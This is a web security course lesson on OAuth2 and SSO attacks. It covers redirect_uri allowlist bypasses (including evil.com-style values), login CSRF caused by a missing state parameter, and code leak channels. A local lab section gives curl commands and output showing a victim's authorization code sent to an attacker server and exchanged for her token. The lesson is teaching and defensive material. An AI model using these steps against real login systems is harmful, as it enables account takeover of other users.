Lesson 4.4: OAuth2 and SSO, redirect_uri and state attacks
OAuth2 is the standard behind “Log in with Google”, and the authorization code it hands out travels through the victim’s browser, which is the weak point. If the authorization server does not match redirect_uri against an allowlist, the attacker points it at their own server and the victim’s code lands there. In this lesson I draw the OAuth2 authorization code flow, exploit a loose redirect_uri to steal a victim’s authorization code, show how a missing state parameter enables login CSRF, and list the channels where codes and tokens leak. The lab runs on your own machine.
With no allowlist check, the authorization server sends the victim’s code to the attacker’s redirect_uri, and the attacker exchanges it for a token.
Level: advanced, about 60 minutes. Prerequisites: Lesson 4.2 Session management, redirects and cross-site cookies, Lesson 5.3 CSRF (can be read in parallel). Tools: Burp Suite, curl, Python requests, a request-catching server.
Goals
After this lesson you can draw the OAuth2 authorization code flow and the roles of resource owner, client, and authorization server. You can exploit a loosely checked redirect_uri to steal a victim’s authorization code, understand the state parameter and why missing it causes a login-flow CSRF, and recognize the code and token leak channels: Referer, browser history, logs.
Theory
What OAuth2 and SSO solve
OAuth2 is an authorization standard that lets one application (the client) access a user’s resources on another service without knowing their password. SSO (Single Sign-On) builds on this: you “Log in with Google” into an app, Google authenticates you, and issues the app a token or identity information.
Three main roles:
- Resource owner: the end user (for example you).
- Client (relying party): the app that wants to log you in (for example a third-party website).
- Authorization server (IdP, Identity Provider): where you are authenticated and codes or tokens are issued (for example Google).
The authorization code flow
The most common and safest flow has these steps:
- The client redirects your browser to the IdP:
GET /authorize?response_type=code&client_id=...&redirect_uri=...&state=...&scope=.... - You log in to the IdP (if not already) and consent to grant access.
- The IdP redirects your browser back to
redirect_uriwith a one-time authorization code:redirect_uri?code=XYZ&state=.... - The client (on the backend) exchanges the code for an access token:
POST /tokenwithcode,client_id,client_secret,redirect_uri. - The client uses the access token to call
/userinfo(or an API) and fetch the identity and data.
The security point is that the code is only an intermediate key, passing through the browser (easy to leak), while the access token is exchanged on the backend (more private). Because the code passes through the browser, redirect_uri and state must be protected carefully.
Loose redirect_uri
redirect_uri decides where the code is sent. The IdP must match this value against an allowlist (the registered list) by exact match. Common mistakes:
- No check at all, only that the
client_idexists. - Prefix matching (
startswith), bypassed withhttps://client.app.evil.comorhttps://evil.com/?x=https://client.app. - Allowing arbitrary subdomains or paths, abused through an open redirect already present on the client domain.
The consequence: the attacker sets redirect_uri to point at their own server and sends the victim (logged in to the IdP) a link to click the authorize endpoint. The IdP issues the code and redirects it straight to the attacker’s server with ?code=.... With the code, the attacker exchanges it for a token and takes over the victim’s account on the client.
Missing state causes CSRF
state is a random value the client generates before redirecting, binds to the session, and checks again when the IdP returns. It protects the OAuth flow against CSRF by ensuring this code response belongs to the session that this same browser started. Without state, the attacker performs a login CSRF: forcing the victim’s browser to complete the flow with the attacker’s code, so the victim logs in to the attacker’s account on the client (and then types sensitive data into it), or the reverse is abused to link accounts.
state should be a random, unguessable string, used once, and mandatory to check at the callback. (Modern standards also add PKCE, a challenge code to resist code interception, but at the basic level state is the minimum.)
Code and token leaks
Because the code (and sometimes the token in the old implicit flow) sits in the URL, it leaks easily:
- Referer header: if the callback page loads an external resource (image, script, pixel), the browser sends the current URL (with the code) in the
Refererheader to the third party. - Browser history, server logs, proxy logs: a URL with a code is recorded in many places.
- Chained open redirect: if there is one more redirect after the callback that carries the code along.
Ways to reduce it: use the authorization code flow (not implicit), exchange the code immediately and invalidate it, set Referrer-Policy, and do not embed external resources on the callback page.
Demo
Lab 4.4 simulates three components running locally: the provider (IdP) :8044, the client :8045, and the attacker’s server :8049. The victim is carol, already logged in to the IdP.
The normal flow for comparison
1
2
authorize -> 302 http://localhost:8045/callback?code=04bc79a8d6d8982b
client /callback -> {'email': 'carol@corp.local', 'logged_in_as': 'carol', 'ok': True, ...}
The IdP issues the code, redirects it to the client’s valid redirect_uri, and the client exchanges the code for a token then fetches the identity.
Stealing the code through redirect_uri
The provider does not check redirect_uri against an allowlist. The attacker sends the victim an authorize link with redirect_uri pointing at :8049:
1
2
3
4
provider 302 to attacker server: http://localhost:8049/collect?code=09c5c9ca2642c16c
[+] attacker server caught the code: 09c5c9ca2642c16c
exchange code -> access_token: 785933614a515f51d5231006
[+] /userinfo of the VICTIM: {'email': 'carol@corp.local', 'flag': 'FLAG{4.4_oauth_code_theft}', 'ok': True, 'user': 'carol'}
Carol’s code runs straight to the attacker’s server. The attacker exchanges the code for an access token and reads carol’s /userinfo, taking over the account.
A quick test with curl (watch the Location containing the code):
1
2
curl -s -c j.txt -X POST localhost:8044/pv-login -d user=carol
curl -si -b j.txt "localhost:8044/authorize?response_type=code&client_id=portal&redirect_uri=http://localhost:8049/collect" | grep -i location
Missing state
1
2
3
client /login -> authorize: .../authorize?response_type=code&client_id=portal&redirect_uri=http://localhost:8045/callback
has a 'state' parameter? NO -> missing CSRF protection
/callback accepts code WITHOUT a state -> True
The client does not generate state at the login step and does not check it at callback, so it accepts any code, meeting the condition for login CSRF.
Lab
- Vulnerable app:
labs/4.4/(README in the lab, runs locally; provider 8044, client 8045, attacker 8049). - Task: (1) steal carol’s authorization code using a
redirect_uripointing at your server, (2) exchange the code for a token and read carol’s/userinfo, (3) prove the client is missingstate. - Hints: read the
Locationheader of theauthorizeresponse; exchange the code at/tokenusing the exactredirect_urifrom the authorize step; in an SPA theclient_secretis often public. - Solution:
exploit.pyandtranscript.txtinlabs/4.4/. The transcript shows carol’s account taken over, flagFLAG{4.4_oauth_code_theft}.
Common pitfalls
- Thinking a prefix match on
redirect_uriis enough;startswithcan almost always be bypassed. - Forgetting that an open redirect on the client’s own domain turns a valid
redirect_uriinto a code leak channel. - Skipping
statebecause “there is already a cookie”; a cookie cannot replace state’s anti-CSRF role. - Testing only when not logged in to the IdP; many bugs only show when the victim has an IdP session (auto-consent).
Further reading
- PortSwigger Web Security Academy, the OAuth authentication topic (labs on redirect_uri, state, SSRF via OpenID).
- RFC 6749 (OAuth2), RFC 7636 (PKCE); OAuth 2.0 Security Best Current Practice (RFC 9700).
- OWASP WSTG, Testing for OAuth weaknesses.
- Related: Lesson 6.3 Open redirect, Lesson 5.3 CSRF.
Key takeaways
redirect_urimust match an allowlist exactly; try subdomains, extra paths, open redirects, and a completely different value.statemust exist, be random, be used once, and be checked at the callback.- The code passes through the browser so it leaks easily; check Referer, logs, history, and chained redirects.
- Prefer the authorization code flow with PKCE; avoid the implicit flow (token in the URL).
- Try replaying a code and using a code from one flow against a different client or redirect.
